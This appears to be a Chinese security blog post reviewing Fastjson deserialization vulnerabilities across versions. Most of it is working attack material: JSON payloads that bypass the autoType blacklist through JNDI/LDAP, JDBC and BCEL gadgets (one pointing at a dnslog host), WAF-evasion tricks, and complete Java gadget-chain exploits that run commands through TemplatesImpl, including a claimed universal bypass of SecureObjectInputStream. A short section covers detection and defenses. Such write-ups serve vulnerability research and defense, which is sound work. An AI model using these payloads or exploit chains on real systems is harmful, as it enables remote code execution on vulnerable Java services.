【java安全】Fastjson漏洞回顾
简单回顾fastjson漏洞相关知识
漏洞原理
fastjson的反序列化支持传入@type指定反序列化的类,其反序列化通过setter方法进行传值,并且parseObject()
方法在反序列化完成后会自动调用toJson方法,从而调用所有字段的getter方法
因此可以寻找setter/getter方法包含恶意操作的类从而执行任意代码,以常用的payload:JdbcRowSetImpl为例:
其connect方法存在JNDI注入的可能(sink点)
接着找哪里调用了connect方法,找到setAutoCommit
,因此主要传入AutoCommit属性即可调用到setAutoCommit
方法
因此payload如下,fastjson会通过setter方法完成属性的赋值,从而调用到 setAutoCommit方法,从而触发jndi注入
public static void main(String[] args){
// 高版本jdk复现添加
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String s = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:8085/yfHMXvph\", \"autoCommit\": false}";
JSON.parse(s);
}
梳理
fastjson <= 1.2.24
fastjson 默认使用 @type
指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。
1.2.25 <= fastjson <= 1.2.41
引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,基于内置黑名单来实现安全(禁止了一些危险的类), 那么在开启autotype下如何绕过黑名单?
匹配到@type时,会尝试进行loadclass
在TypeUtils.loadClass
过程中,一些描述符会被处理掉,因此可以用于绕过黑名单
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:8085/yfHMXvph",
"autoCommit":true
}
1.2.25 <= fastjson <= 1.2.42
在 checkAutoType 中加入判断,如果类的第一个字符是 L
结尾是 ;
,则使用 substring进行了去除,但是这种判断完全是徒劳的,因为在最后处理时是递归处理,因此只要对描述符进行双写即可绕过:
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
1.2.25 <= fastjson <= 1.2.43
用来检查的 checkAutoType
代码添加了判断,如果类名连续出现了两个 L
将会抛出异常,这样使用 L
、;
绕过黑名单的思路就被阻挡了,但是在 loadClass
的过程中,还针对 [
也进行了处理和递归,利用 [
进行黑名单的绕过
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
1.2.25 <= fastjson <= 1.2.44
在 checkAutoType
中添加了新的判断,如果类名以 [
开始则直接抛出异常。
1.2.25 <= fastjson <= 1.2.45
黑名单是无穷无尽的,随着 fastjson 的版本更新,一定会有更多的黑名单爆出来,使用黑名单外的类绕过
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}
1.2.33 <= fastjson <= 1.2.47
在 fastjson 迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。
autoTypeSupport 为 true 时,fastjson 也会禁止一些黑名单的类反序列化,但是有一个判断条件:当反序列化的类在黑名单中,且 TypeUtils.mappings 中没有该类的缓存时,才会抛出异常。这里就留下了一个伏笔。
在 autoTypeSupport 为默认的 false 时,程序直接检查并抛出异常,在这部分我们无法绕过,所以我们的关注点就在判断之前,程序有在 TypeUtils.mappings 中和 deserializers 中尝试查找要反序列化的类,如果找到了,则就会 return,这就避开下面 autoTypeSupport 默认为 false 时的检查。
因此先传入白名单类java.lang.Class,使其loadclass利用类com.sun.rowset.JdbcRowSetImpl,过程中会将其放入缓存中。接着尝试反序列化com.sun.rowset.JdbcRowSetImpl类,缓存命中因此绕过了黑名单机制
{
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}
}
fastjson <= 1.2.68
官方在 1.2.48 对漏洞进行了修复,在 MiscCodec
处理 Class 类的地方,设置了cache 为 false ,并且 loadClass
重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。
这个版本报出了一个新的 autoType 开关绕过方式:利用 expectClass 绕过 checkAutoType()
。
如果函数有 expectClass
入参,且我们传入的类名是 expectClass
的子类或实现,并且不在黑名单中,就可以通过 checkAutoType()
的安全检测。主要使用 Throwable
和 AutoCloseable
进行绕过。
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"url": "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"databaseToConnectTo": "test",
"info": {
"@type": "java.util.Properties",
"PORT": "3306",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"user": "yso_URLDNS_http://apwaty.dnslog.cn",
"PORT.1": "3306",
"HOST.1": "127.0.0.1",
"NUM_HOSTS": "1",
"HOST": "127.0.0.1",
"DBNAME": "test"
}
}
黑名单列表
https://github.com/LeadroyaL/fastjson-blacklist
POC列表
https://github.com/welk1n/FastjsonPocs
fastjson不出网怎么利用
第一种是TemplatesImpl
类加载字节码做到不出网利用,但需要开启特殊参数实战鸡肋(SupportNonPublicField)
第二种方式是服务端存在tomcat-dbcp.jar
情况下(Tomcat部署下默认存在),使用BasicDataSource
配合BCEL
可实现不出网RCE
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
"driverClassLoader" :
{
"@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
}
}
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "true",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
}
利用C3P0构造二次反序列化,C3P0是JDBC的一个连接池组件(hex base以及jndi两个Gadget利用链)
绕waf
- 利用unicode/hex编码,2者可混合使用
- 特殊符号:多个逗号,下滑线,注释,空格,引号不添加(type后的第一个引号,dataSourceName不加),减号,dataSourceName添加is,/b
自动化检测原理
- dnslog
- rmi
流量中如何检测fastjson攻击
特征匹配的方式,@type匹配恶意类,比如
- TemplatesImp
- JdbcRowSetImpl
- JndiDataSourceFactory
如何判断fastjson命令执行成功
对比前面的请求,看是否存在500错误
防御
在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType
怎么判断代码使用了autoType?
JSON.toJSONString(obj, SerializerFeature.WriteClassName); // 这种使用会产生@type
使用Gson或者jackson替换
waf拦截
升级到最新版本
原生反序列化
分析
既然是原生反序列化,那肯定是寻找继承了Serializable
接口的类,最后发现只有两个类:JSONArray
与JSONObject
以第一个JSONArray
类为例,发现没有实现readObject
方法,其继承的JSON
类也没有实现,因此肯定是需要找其它实现了readObject
方法的类进行中转,以触发JSONArray
或者JSON
类当中的方法实现恶意操作
在Json类当中的toString方法能触发toJsonString的调用,而toJsonString又能触发getter方法,因此调用过程:触发toString->toJSONString->get方法
如何触发任意类的toString方法?通过BadAttributeValueExpException
触发get方法很容易想到触发TemplatesImpl的getOutputProperties
利用代码:fastjson1
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "y4tacker");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
fastjson2
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "y4tacker");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
调用过程:
BadAttributeValueExpException#readObject
JSONArray#toString
JSONArray#toJSONString
TemplatesImpl#getOutputProperties
....
Runtime#exec
版本限制
Fastjson1版本小于等于1.2.48
Fastjson2目前通杀(目前最新版本2.0.26)
高版本绕过
从1.2.49开始,JSONArray以及JSONObject方法开始真正有了自己的readObject方法
其修复方式是引入SecureObjectInputStream
,在其中实现resolveClass
,使用checkAutoType
机制进行过滤反序列化类
这是典型的不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过
ObjectInputStream -> readObject
xxxxxx(省略中间过程)
SecureObjectInputStream -> readObject -> resolveClass
看看什么情况下不会调用resolveClass?让我们的恶意类成为引用类型从而绕过resolveClass的检查
答案是当向List、set、map类型中添加同样对象时即可成功利用,以List为例
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);
利用的伪代码
TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator");
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
arrayList.add(bd);
WriteObjects(arrayList);
序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles这个hash表中查到了映射,后续则会以引用形式输出
反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过
通杀方案
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Main{
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates,bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}
资料
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C
-
- 漏洞原理
- 梳理
*
*
* fastjson <= 1.2.24
* 1.2.25 <= fastjson <= 1.2.41
* 1.2.25 <= fastjson <= 1.2.42
* 1.2.25 <= fastjson <= 1.2.43
* 1.2.25 <= fastjson <= 1.2.44
* 1.2.25 <= fastjson <= 1.2.45
* 1.2.33 <= fastjson <= 1.2.47
* fastjson <= 1.2.68 - 黑名单列表
- POC列表
- fastjson不出网怎么利用
- 绕waf
- 自动化检测原理
- 流量中如何检测fastjson攻击
- 如何判断fastjson命令执行成功
- 防御
- 原生反序列化